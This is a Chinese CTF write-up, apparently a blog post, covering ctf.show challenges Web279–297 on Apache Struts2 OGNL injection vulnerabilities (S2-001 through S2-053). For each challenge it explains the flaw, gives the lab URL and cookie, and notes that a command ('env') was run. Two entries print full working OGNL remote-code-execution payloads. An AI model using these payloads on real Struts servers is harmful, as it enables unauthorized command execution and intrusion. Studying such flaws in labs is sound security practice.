Java漏洞复现
Strust原理
JavaEE--------Struts2框架-CSDN博客
Web279
struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据。
这里的%{value}简单理解就是和flask的模板注入{{}}差不多 会对里面的内容进行解析
因此我们可以利用其进行命令执行
访问:
https://a92d64a9-8002-46d5-8f59-f11865ad32ad.challenge.ctf.show/S2-001/login.action
添加cookie:
JSESSIONID=7E8A2700754C4F23FB59EA13B5E66258
利用工具扫描漏洞
命令执行:
env
Web280
struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(u0023)或8进制(43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开
https://b3db2c9f-0e82-443b-9c65-9ad58b5396ba.challenge.ctf.show/S2-005/example/HelloWorld.action
添加cookie
JSESSIONID=48532210EF370D206347C46234D5D001
工具扫描命令执行env
Web281
描述: Apache Struts是美国阿帕奇(Apache)软件基金会的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架,主要提供两个版本框架产品,Struts 1和Struts 2。 攻击者可以将恶意代码放入http报文头部的Content-Disposition的filename字段,通 过不恰当的filename字段或者大小超过2G的Content-Length字段来触发异常,进而导致任意代码执行。
https://8936a353-7a11-4429-bcb7-65f6d498efd5.challenge.ctf.show/S2-007/user.action
工具扫描出漏洞
env
Web282
2.3.1.1 之前的 Apache Struts 中的 CookieInterceptor 组件不使用参数名称白名单,这允许远程攻击者通过精心制作的 HTTP Cookie 标头执行任意命令,该标头通过静态方法触发 Java 代码执行。
访问
https://b1c01aa2-1742-47fa-b3aa-ff1eaa81c211.challenge.ctf.show/S2-008/cookie.action
添加cookie:
JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5
命令执行:env
Web283
Struts2对S2-003的修复方法是禁止#号,于是s2-005通过使用编码\u0023或\43来绕过;后来Struts2对S2-005的修复方法是禁止\等特殊符号,使用户不能提交反斜线。
但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1的方法来执行它,从而绕过官方对#、\等特殊字符的防御。
影响版本Struts 2.1.0-2.3.1.1
https://6b357185-faa4-4d43-963f-ba528b32cb1f.challenge.ctf.show/S2-009/showcase.action
添加cookie:
JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5
命令执行:env
Web284
原理:
从漏洞公告中获悉漏洞会出现的场景:如果一个Action定义了一个变量比如uname,当触发了redirect类型的返回时,如果重定向的url后面带有?uname=${uname},则在这个过程中会对uname参数的值进行OGNL表达式计算。
https://0a239cda-2512-44c9-83ed-07670463fa01.challenge.ctf.show/S2-012/user.action
添加cookie:
JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5
命令执行:env
Web285
漏洞原理:
Struts2 标签中 <s:a> 和 <s:url> 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:
none - 链接不包含请求的任意参数值(默认)
get - 链接只包含 GET 请求中的参数和其值
all - 链接包含 GET 和 POST 所有参数和其值
<s:a>用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞
访问页面;
https://5e53e6c4-6db0-450a-ad90-5d0eddc60b37.challenge.ctf.show/S2-013/link.action
添加cookie:
JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5
命令执行:env
Web286
漏洞原理:
漏洞产生于配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式,例如:
<package name="S2-015" extends="struts-default">
<action name="*" class="com.demo.action.PageAction">
<result>/{1}.jsp</result>
</action>
</package>
上述配置能让我们访问 name.action 时使用 name.jsp 来渲染页面,但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。在实践复现的时候发现,由于 name 值的位置比较特殊,一些特殊的字符如 / " \ 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功
还有需要说明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中,删除了 SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2 版本以后都不能直接通过 #_memberAccess['allowStaticMethodAccess']=true 来修改其值达到重获静态方法调用的能力
访问网页
https://ff65f398-559d-4601-994e-befe0c0e4c1e.challenge.ctf.show/S2-015/welcome.action
添加cookie:
JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5
命令执行:env
Web287
漏洞原理:
在struts2中,DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令
所以,访问http://your-ip:8080/index.action?redirect:OGNL表达式即可执行OGNL表达式
影响版本: 2.0.0 - 2.3.15
访问网页
https://3373d80f-d16a-4c00-8cf2-a162c1a44fd2.challenge.ctf.show/S2-016/default.action
添加cookie:
JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5
命令执行:env
Web288
漏洞原理
动态方法调用的默认启用,原理类似于s2-008
Apache Struts 2的“Dynamic Method Invocation”机制是默认开启的,仅提醒用户如果可能的情况下关闭此机制,这样就存在远程代码执行漏洞,远程攻击者可利用此漏洞在受影响应用上下文中执行任意代码
访问网页
https://e78af4f0-f8a5-401d-94ae-72a7f91c6b28.challenge.ctf.show/S2-019/example/HelloWorld.action
添加cookie:
JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5
命令执行:env
Web289
漏洞原理
Struts框架被强制执行时,对分配给某些标签的属性值进行双重评估,因此可以传入一个值,当一个标签的属性将被渲染时,该值将被再次评估
例如:代码执行过程大致为先尝试获取value的值,如果value为空,那么就二次解释执行了name。并且在执行前给name加上了”%{}”。最终造成二次执行
影响版本:Struts 2.0.0 - Struts 2.3.24.1(2.3.20.3除外)
访问网页
https://1908b8d7-efee-4780-96b5-c6b1b6a63659.challenge.ctf.show/S2-029/default.action
添加cookie:
JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5
命令执行:env
Web290
漏洞原理
Struts2在开启了动态方法调用(Dynamic Method Invocation)的情况下,可以使用method:<name>的方式来调用名字是<name>的方法,而这个方法名将会进行OGNL表达式计算,导致远程命令执行漏洞
影响版本: Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
访问网页
https://efb96afc-c69b-4efa-847c-0a59c83658cd.challenge.ctf.show/S2-032/memoedit.action?id=3
添加cookie:
JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5
命令执行:env
Web291
漏洞原理
当开启动态方法调用,并且同时使用了Strut2 REST Plugin插件时,使用“!”操作符调用动态方法可能执行ognl表达式,导致代码执行
影响版本:Struts 2.3.20 – Struts 2.3.28 (不包括 2.3.20.3和 2.3.24.3)
访问网页
https://2af2db99-e298-45ce-8d9f-e9cbf9750142.challenge.ctf.show/S2-033/orders
添加cookie:
JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5
命令执行:env
Web292
漏洞原理
与s2-045类似,但是输入点在文件上传的filename值位置,并需要使用\x00截断
影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
访问网页
https://8eb617fc-e8b9-4156-b25a-0037c79423d5.challenge.ctf.show/S2-037/orders
添加cookie:
JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5
命令执行:env
Web293
漏洞原理
在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵
恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令
影响版本:Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10
访问网页
https://03ddefd2-67c3-4933-8319-d8496c27377c.challenge.ctf.show/S2-045/orders
添加cookie:
JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5
命令执行:env
Web294
漏洞原理:
与s2-045类似,但是输入点在文件上传的filename值位置,并需要使用\x00截断
影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
访问网页
https://0e4071fd-26d8-49c8-9ee1-8128789597c5.challenge.ctf.show/S2-046/doUpload.action
添加cookie:
JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5
命令执行:env
Web295
漏洞原理
漏洞主要问题出在struts2-struts1-plugin这个插件包上。这个库的主要作用就是将struts1的action封装成struts2的action以便它能在strut2上运行使用
而由于struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函数可以调用 getText() 函数,这个函数刚好又能执行OGNL表达式,同时这个 getText() 的 参数输入点,又可以被用户直接进行控制,如果这个点被恶意攻击者所控制,就可以构造恶意执行代码,从而实现一个RCE攻击
影响版本: 2.0.0 - 2.3.32
访问网页
https://550f7b64-9a87-43e3-991b-1effb6b8b618.challenge.ctf.show/S2-048/viewSource.action?config=file:/usr/local/tomcat/webapps/S2-048/WEB-INF/classes/struts.xml:78&className=com.opensymphony.xwork2.ActionSupport&page=///WEB-INF/showcase.jsp
工具扫描:
Poc:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())).(#q)}
Web296
漏洞原理
Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有如下映射表:
扩展名 Content-Type 解析方法
xml application/xml xstream
json application/json jsonlib或jackson(可选)
xhtml application/xhtml+xml 无
无 application/x-www-form-urlencoded 无
无 multipart/form-data 无
jsonlib无法引入任意对象,而xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),方法就是直接通过xml的tag name指定需要实例化的类名:
<classname></classname>
//或者
<paramname class="classname"></paramname>
所以,我们可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedget
影响版本:Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
访问网页
https://4c25fcc4-d874-4020-ab16-ff1529cba4c5.challenge.ctf.show/S2-052/orders/3/edit
添加cookie:
JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5
命令执行:env
Web297
漏洞原理
Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞
访问网页
Poc:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
添加cookie:
JSESSIONID=26F7F9791FA8F9734A2DD062764A7ED5
命令执行:env
CTFshow刷题日记-WEB-JAVA(web279-300)Struts2全漏洞复现,Java漏洞复现-CSDN博客